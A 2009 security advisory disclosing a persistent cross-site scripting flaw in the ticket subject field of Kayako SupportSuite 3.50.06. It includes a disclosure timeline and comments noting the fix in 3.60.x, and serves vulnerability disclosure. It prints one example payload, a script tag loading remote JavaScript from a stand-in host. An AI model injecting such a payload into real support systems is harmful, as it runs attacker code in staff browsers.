nGenuity Information Services – Security Advisory

   Advisory ID: NGENUITY-2009-008 - Ticket Subject Persistent XSS in Kayako SupportSuite
   Application: SupportSuite v3.50.06
        Vendor: Kayako
Vendor website: http://www.kayako.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

         Class: Persistent Cross-Site Scripting

  I. BACKGROUND
     "SupportSuite is [Kayako's] flagship product, integrating the ticket and
      e-mail management features of eSupport with the live chat and visitor
      monitoring features of LiveResponse." [1]

 II. DETAILS
     The subject field of a newly created support ticket is not properly encoded before
     being sent to the browser when the ticket details are viewed. More information
     on cross-site scripting please refer to the Common Weakness Enumeration specification
     available cwe.mitre.org [2].

     An example attack might look similar to the following.

     </title><script src="example.com/attack.js"></script>

     This vulnerability is fixed in version 3.60.x

III. REFERENCES
     [1] - http://www.kayako.com
     [2] - http://cwe.mitre.org/data/definitions/79.html

 IV. VENDOR COMMUNICATION
     7.17.2009 - Vulnerability Discovery
     7.20.2009 - Initial Vendor Response
     7.21.2009 - Patch created, Will be pushed to next stable release
     8.08.2009 - Advisory released

Copyright (c) 2009 nGenuity Information Services, LLC

• By Jamie Edwards, August 8, 2009 @ 10:53 am

  This defect is fixed in 3.60.x
• By aaron_howell, August 8, 2009 @ 11:07 am

  Thanks for the update, Jamie.

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